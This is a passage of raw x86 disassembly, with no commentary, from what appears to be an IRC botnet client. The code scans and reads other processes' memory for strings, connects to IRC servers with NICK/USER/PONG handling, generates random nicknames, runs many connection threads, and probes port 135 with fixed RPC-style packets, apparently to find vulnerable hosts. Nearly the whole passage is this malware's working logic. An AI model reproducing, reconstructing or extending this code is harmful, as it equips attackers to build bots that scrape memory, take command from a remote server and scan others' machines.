push ebx
push [ebp+arg_0]
call ds:dword_427158 ; VirtualQueryEx
test eax, eax
jz short loc_41789A
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4178A0
test [ebp+var_13], 1
jnz short loc_4178A0
push ecx
push 8
call edi ; GetProcessHeap
push eax
call ds:dword_427150 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call ds:dword_42715C ; ReadProcessMemory
test eax, eax
jz short loc_41788C
push offset word_4D3830 ; Str2
push esi ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jnz short loc_41788C
lea eax, [esi+400h]
push offset word_4D4030 ; Str2
push eax ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jz short loc_4178BC
loc_41788C: ; CODE XREF: sub_4177C3+9Fj
; sub_4177C3+B0j
push esi
push 0
call edi ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
jmp short loc_4178A0
; ---------------------------------------------------------------------------
loc_41789A: ; CODE XREF: sub_4177C3+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4178A0: ; CODE XREF: sub_4177C3+71j
; sub_4177C3+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_41780E
loc_4178AC: ; CODE XREF: sub_4177C3+3Fj
push [ebp+arg_0]
call ds:dword_427070 ; CloseHandle
loc_4178B5: ; CODE XREF: sub_4177C3+1Ej
xor eax, eax
loc_4178B7: ; CODE XREF: sub_4177C3+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4178BC: ; CODE XREF: sub_4177C3+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D4A4C, ebx
mov Src, eax
cmp [eax], cl
jnz short loc_4178DE
cmp [eax+1], cl
jz short loc_4178E6
loc_4178DE: ; CODE XREF: sub_4177C3+114j
; sub_4177C3+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4178DE
loc_4178E6: ; CODE XREF: sub_4177C3+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call ds:dword_427070 ; CloseHandle
push 1
pop eax
jmp short loc_4178B7
sub_4177C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D4A48
push esi
mov esi, ds:dword_427154
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
call ds:dword_427150 ; RtlAllocateHeap
mov ecx, dword_4D4A48
mov [ebp+var_4], eax
add ecx, ecx
push ecx ; Size
push Src ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D4A54
push eax
call dword_4D4834
push [ebp+var_4]
mov edi, offset byte_4D4840
push offset word_4D3830
push offset word_4D4030
push [ebp+arg_0]
push offset asc_4386C4 ; "-"
push 200h ; Count
push edi ; Dest
call __snprintf
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_4178F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp
var_18 = word ptr -18h
var_16 = word ptr -16h
Dst = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D4A48
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call ds:dword_427154 ; GetProcessHeap
push eax
call ds:dword_427150 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+Dst], eax
mov ebx, offset word_4D4030
mov edi, 200h
mov esi, offset byte_4D3630
loc_4179D6: ; CODE XREF: sub_417990+FAj
mov eax, dword_4D4A48
add eax, eax
push eax ; Size
push Src ; Src
push [ebp+Dst] ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D4834
mov eax, dword_4D4A48
and [ebp+var_10], 0
mov ecx, [ebp+Dst]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417A4B
loc_417A13: ; CODE XREF: sub_417990+B3j
cmp [ebp+var_8], 0
jz short loc_417A68
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417A37
cmp byte ptr [ecx+1], 0
jnz short loc_417A37
cmp dl, 20h
jnb short loc_417A31
and [ebp+var_8], 0
loc_417A31: ; CODE XREF: sub_417990+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417A3B
loc_417A37: ; CODE XREF: sub_417990+90j
; sub_417990+96j
and [ebp+var_8], 0
loc_417A3B: ; CODE XREF: sub_417990+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417A13
cmp [ebp+var_8], 0
jz short loc_417A68
loc_417A4B: ; CODE XREF: sub_417990+81j
push [ebp+Dst]
push offset word_4D3830
push ebx
push [ebp+arg_0]
push offset asc_4386C4 ; "-"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 1Ch
jmp short loc_417A80
; ---------------------------------------------------------------------------
loc_417A68: ; CODE XREF: sub_417990+87j
; sub_417990+B9j
push offset word_4D3830
push ebx
push [ebp+arg_0]
push offset asc_438714 ; "-"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 18h
loc_417A80: ; CODE XREF: sub_417990+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_4179D6
push [ebp+Dst]
push 0
call ds:dword_427154 ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417990 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_417B25
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call dword_4CB9D4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14 ; inet_addr
cmp eax, esi
jnz short loc_417B0A
push [ebp+arg_0]
call dword_4CBA58 ; gethostbyname
test eax, eax
jz short loc_417B25
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417B0A: ; CODE XREF: sub_417AA9+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, esi
jnz short loc_417B29
push edi
call dword_4CBA6C ; closesocket
loc_417B25: ; CODE XREF: sub_417AA9+1Bj
; sub_417AA9+58j
mov eax, esi
jmp short loc_417B2B
; ---------------------------------------------------------------------------
loc_417B29: ; CODE XREF: sub_417AA9+73j
mov eax, edi
loc_417B2B: ; CODE XREF: sub_417AA9+7Ej
pop edi
pop esi
leave
retn
sub_417AA9 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_417B2F(char *Dest)
sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp
; sub_401ACD+32B6p ...
Dest = dword ptr 4
push esi
push edi
mov edi, [esp+8+Dest]
push offset asc_42A080 ; "\n"
push edi ; Dest
call _strcat
pop ecx
mov esi, offset dword_4D4A5C
pop ecx
loc_417B47: ; CODE XREF: sub_417B2F+42j
cmp dword ptr [esi-4], 1
jnz short loc_417B65
cmp dword ptr [esi], 0
jbe short loc_417B65
push 0
push edi ; Str
call _strlen
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CBA24 ; send
loc_417B65: ; CODE XREF: sub_417B2F+1Cj
; sub_417B2F+21j
add esi, 210h
cmp esi, offset byte_4DB17C
jl short loc_417B47
pop edi
pop esi
retn
sub_417B2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417B76(char *Str,int)
sub_417B76 proc near ; CODE XREF: sub_417C61+155p
Dst = byte ptr -420h
Dest = byte ptr -220h
Str2 = dword ptr -20h
var_1C = dword ptr -1Ch
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CDC0 ; " "
push edi
push esi ; Delim
push [ebp+Str] ; Str
call _strtok
pop ecx
mov [ebp+Str2], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_417B9B: ; CODE XREF: sub_417B76+35j
push esi ; Delim
push 0 ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_417B9B
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+Str2], edi
jnz short loc_417BC3
cmp esi, edi
jnz short loc_417BC3
push 1
pop eax
jmp loc_417C5C
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: sub_417B76+3Fj
; sub_417B76+43j
push [ebp+Str2] ; Str2
push offset aPing ; "PING"
call _strcmp
pop ecx
pop ecx
test eax, eax
push esi ; Str2
jnz short loc_417BDE
push offset aPongS_0 ; "PONG %s\n"
jmp short loc_417C2C
; ---------------------------------------------------------------------------
loc_417BDE: ; CODE XREF: sub_417B76+5Fj
push offset a433 ; "433"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_417BFF
push esi ; Str2
push offset a432 ; "432"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
loc_417BFF: ; CODE XREF: sub_417B76+76j
push 200h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417E84
add esp, 10h
lea eax, [ebp+Dst]
push eax
push offset aNickS_1 ; "NICK %s\n"
loc_417C2C: ; CODE XREF: sub_417B76+66j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
loc_417C5A: ; CODE XREF: sub_417B76+87j
xor eax, eax
loc_417C5C: ; CODE XREF: sub_417B76+48j
pop edi
pop esi
pop ebx
leave
retn
sub_417B76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C61 proc near ; DATA XREF: sub_417E06+61o
Dest = byte ptr -4008h
var_3008 = byte ptr -3008h
Dst = byte ptr -2008h
Str = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call __alloca_probe
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D4A64[esi]
mov dword_4D4A58[esi], edi
push dword_4D4C64[esi]
push eax
call sub_417AA9
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D4A5C[esi], eax
jb loc_417DE6
mov edi, 1000h
lea eax, [ebp+Dst]
push edi ; Size
push ebx ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417E84
lea eax, [ebp+Dest]
push eax ; Dest
call sub_417E84
lea eax, [ebp+var_3008]
push eax ; Dest
call sub_417E84
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Str]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push dword_4D4A5C[esi]
call dword_4CBA24 ; send
push edi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_417D3D: ; CODE XREF: sub_417C61+111j
; sub_417C61+180j
push edi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Str]
push ebx
push edi
push eax
push dword_4D4A5C[esi]
call dword_4CB9EC ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417DE6
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417D3D
loc_417D74: ; CODE XREF: sub_417C61+17Ej
mov al, [ebp+eax+Str]
cmp al, 0Dh
jz short loc_417D9B
cmp al, 0Ah
jz short loc_417D9B
cmp [ebp+arg_0], 0FA0h
jz short loc_417D9B
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+Dst], al
jmp short loc_417DD5
; ---------------------------------------------------------------------------
loc_417D9B: ; CODE XREF: sub_417C61+11Cj
; sub_417C61+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417DD5
push dword_4D4A5C[esi] ; int
mov [ebp+eax+Dst], bl
lea eax, [ebp+Dst]
push eax ; Str
call sub_417B76
pop ecx
test eax, eax
pop ecx
ja short loc_417DE6
push edi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417DD5: ; CODE XREF: sub_417C61+138j
; sub_417C61+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_417D74
jmp loc_417D3D
; ---------------------------------------------------------------------------
loc_417DE6: ; CODE XREF: sub_417C61+40j
; sub_417C61+107j ...
mov dword_4D4A58[esi], ebx
mov esi, dword_4D4A5C[esi]
cmp esi, ebx
jbe short loc_417DFD
push esi
call dword_4CBA6C ; closesocket
loc_417DFD: ; CODE XREF: sub_417C61+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417C61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417E06(char *Source,int,int)
sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp
var_8 = byte ptr -8
var_4 = dword ptr -4
Source = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417E7F
loc_417E18: ; CODE XREF: sub_417E06+77j
xor edi, edi
mov eax, offset dword_4D4A58
loc_417E1F: ; CODE XREF: sub_417E06+28j
cmp [eax], ebx
jz short loc_417E30
add eax, 210h
inc edi
cmp eax, offset dword_4DB178
jl short loc_417E1F
loc_417E30: ; CODE XREF: sub_417E06+1Bj
cmp edi, 31h
jz short loc_417E7F
mov esi, edi
push [ebp+Source] ; Source
imul esi, 210h
lea eax, dword_4D4A64[esi]
push eax ; Dest
call _strcpy
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D4C64[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D4A58[esi], 1
push eax
push ebx
push edi
push offset sub_417C61
push ebx
push ebx
call ds:dword_427084 ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417E18
loc_417E7F: ; CODE XREF: sub_417E06+10j
; sub_417E06+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417E84(char *Dest)
sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp
; sub_401ACD+3747p ...
Source = byte ptr -40h
var_2D = byte ptr -2Dh
Dst = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
Count = dword ptr -0Ch
var_4 = dword ptr -4
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
call _rand
mov [ebp+Count], eax
fild [ebp+Count]
fmul ds:dbl_4276D8
call __ftol
cmp eax, 1
jnz short loc_417ECE
call _rand
call _rand
push 66h
cdq
pop ecx
idiv ecx
push off_438A68[edx*4]
jmp short loc_417EE7
; ---------------------------------------------------------------------------
loc_417ECE: ; CODE XREF: sub_417E84+2Fj
call _rand
call _rand
cdq
mov ecx, 0C0h
idiv ecx
push off_438768[edx*4] ; Source
loc_417EE7: ; CODE XREF: sub_417E84+48j
lea eax, [ebp+Dst]
push eax ; Dest
call _strcpy
pop ecx
lea eax, [ebp+Dst]
pop ecx
push ebx
push esi
push edi
push eax ; Str
call _strlen
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+Count], eax
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276D0
call __ftol
mov ebx, eax
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_4276C8
call __ftol
cmp esi, 2
mov edi, offset a__1 ; "-|`_\\{[]}"
jle short loc_417F5A
cmp esi, 3
jnz short loc_417F51
cmp ebx, 1
jz short loc_417F5A
loc_417F51: ; CODE XREF: sub_417E84+C6j
cmp eax, 1
jnz loc_418014
loc_417F5A: ; CODE XREF: sub_417E84+C1j
; sub_417E84+CBj
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276C0
call __ftol
push off_438A68[eax*4] ; Source
lea eax, [ebp+Source]
push eax ; Dest
call _strcpy
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+Dst]
push eax ; Val
push edi ; Str
call _strchr
add esp, 10h
test eax, eax
jnz short loc_418001
movsx eax, [ebp+Source]
push eax ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz short loc_418001
call _rand
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4276C8
call __ftol
cmp eax, 1
jnz short loc_418001
push edi ; Str
call _strlen
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul ds:dbl_4276C8
call __ftol
mov al, byte ptr a__1[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_418001: ; CODE XREF: sub_417E84+111j
; sub_417E84+122j ...
push [ebp+Count] ; Count
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dst]
push eax ; Dest
call _strncat
add esp, 0Ch
loc_418014: ; CODE XREF: sub_417E84+D0j
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+Dst]
push eax ; C
mov [ebp+var_4], esi
call _isdigit
pop ecx
test eax, eax
pop ecx
jnz loc_41827C
and [ebp+Count], eax
movsx eax, byte ptr [ebx-1]
push eax ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz loc_418173
call _rand
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4276C8
call __ftol
cmp esi, 3
jz short loc_418082
cmp eax, 1
jnz loc_418173
loc_418082: ; CODE XREF: sub_417E84+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_4180C4
push edi ; Str
call _strlen
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul ds:dbl_4276C8
call __ftol
mov al, byte ptr a__1[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_4180E0
; ---------------------------------------------------------------------------
loc_4180C4: ; CODE XREF: sub_417E84+207j
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276B8
call __ftol
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_4180E0: ; CODE XREF: sub_417E84+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+Count], ebx
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276B0
call __ftol
cmp esi, 3
jz short loc_418109
cmp eax, ebx
jnz short loc_418173
loc_418109: ; CODE XREF: sub_417E84+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_41814E
push edi ; Str
call _strlen
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul ds:dbl_4276C8
call __ftol
mov al, byte ptr a__1[eax] ; "-|`_\\{[]}"
mov [ebp+esi+Dst], al
jmp short loc_41816C
; ---------------------------------------------------------------------------
loc_41814E: ; CODE XREF: sub_417E84+28Fj
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276B8
call __ftol
mov cl, 41h
sub cl, al
mov [ebp+esi+Dst], cl
loc_41816C: ; CODE XREF: sub_417E84+2C8j
inc esi
mov [ebp+Count], ebx
mov [ebp+var_4], esi
loc_418173: ; CODE XREF: sub_417E84+1C9j
; sub_417E84+1F8j ...
cmp esi, 6
jge loc_4181FC
cmp esi, 5
jge short loc_418194
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276D0
jmp short loc_4181B2
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_417E84+2FBj
call _rand
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4276C8
loc_4181B2: ; CODE XREF: sub_417E84+30Ej
call __ftol
test eax, eax
jnz short loc_4181D5
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276A8
call __ftol
mov cl, 30h
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181D5: ; CODE XREF: sub_417E84+335j
cmp eax, 1
jnz short loc_4181FC
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276B8
call __ftol
mov cl, 41h
loc_4181F2: ; CODE XREF: sub_417E84+34Fj
sub cl, al
mov [ebp+esi+Dst], cl
inc esi
mov [ebp+var_4], esi
loc_4181FC: ; CODE XREF: sub_417E84+2F2j
; sub_417E84+354j
cmp [ebp+Count], 2
jge short loc_41827C
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_4276C8
call __ftol
cmp eax, 1
jnz short loc_41827C
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276A8
call __ftol
mov cl, 30h
sub cl, al
mov [ebp+esi+Dst], cl
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276A0
call __ftol
cmp eax, 1
jnz short loc_41827C
cmp [ebp+Count], eax
jge short loc_41827C
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_427698
call __ftol
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_41827C: ; CODE XREF: sub_417E84+1B1j
; sub_417E84+37Cj ...
lea eax, [ebp+Dst]
push 14h ; Count
push eax ; Source
push [ebp+Dest] ; Dest
call _strncpy
mov eax, [ebp+Dest]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417E84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418295(int,int,void *Buf2,size_t Size)
sub_418295 proc near ; CODE XREF: sub_4182CD+125p
; sub_4182CD+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Buf2 = dword ptr 10h
Size = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+Size]
test edi, edi
jle short loc_4182C3
loc_4182A6: ; CODE XREF: sub_418295+2Cj
push [ebp+Size] ; Size
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+Buf2] ; Buf2
push eax ; Buf1
call _memcmp
add esp, 0Ch
test eax, eax
jz short loc_4182C9
inc esi
cmp esi, edi
jl short loc_4182A6
loc_4182C3: ; CODE XREF: sub_418295+Fj
xor al, al
loc_4182C5: ; CODE XREF: sub_418295+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4182C9: ; CODE XREF: sub_418295+27j
mov al, 1
jmp short loc_4182C5
sub_418295 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4182CD proc near ; CODE XREF: .text:0040DFD7p
; .text:0040E0C0p
var_2010 = dword ptr -2010h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call __alloca_probe
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_41830E
dec eax
jz short loc_4182EC
dec eax
loc_4182E6: ; CODE XREF: sub_4182CD+57j
xor eax, eax
loc_4182E8: ; CODE XREF: sub_4182CD+3Fj
; sub_4182CD+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4182EC: ; CODE XREF: sub_4182CD+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4CBA14 ; inet_addr
push eax
call sub_40C34B
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_4182E8
; ---------------------------------------------------------------------------
loc_41830E: ; CODE XREF: sub_4182CD+13j
push 6
push 1
push 2
call dword_4CBA54 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_4182E6
push ebx
xor ebx, ebx
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push 87h
call dword_4CB9D4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push esi
call dword_4CB97C ; connect
cmp eax, edi
jz loc_41842A
push ebx
push 48h
push offset dword_439374
push esi
call dword_4CBA24 ; send
cmp eax, edi
jz loc_41842A
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC ; recv
cmp eax, edi
jz loc_41842A
cmp byte ptr [ebp+var_2010+2], 0Ch
jnz short loc_41842A
push ebx
push 18h
push offset dword_4393C0
push [ebp+arg_4]
call dword_4CBA24 ; send
cmp eax, edi
jz short loc_41842A
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC ; recv
mov esi, eax
cmp esi, edi
jz short loc_41842A
cmp byte ptr [ebp+var_2010+2], 2
jnz short loc_41842A
push 10h ; Size
push offset dword_4393DC ; Buf2
lea eax, [ebp+var_2010]
push esi ; int
push eax ; int
call sub_418295
add esp, 10h
test al, al
jz short loc_41840A
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_41842A
; ---------------------------------------------------------------------------
loc_41840A: ; CODE XREF: sub_4182CD+12Fj
push 10h ; Size
push offset dword_4393F0 ; Buf2
lea eax, [ebp+var_2010]
push esi ; int
push eax ; int
call sub_418295
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_41842A: ; CODE XREF: sub_4182CD+9Bj
; sub_4182CD+B2j ...
push [ebp+arg_4]
call dword_4CBA6C ; closesocket
mov eax, ebx
pop ebx
jmp loc_4182E8
sub_4182CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41843B(char *Src,char *SubStr,char *Source)
sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p
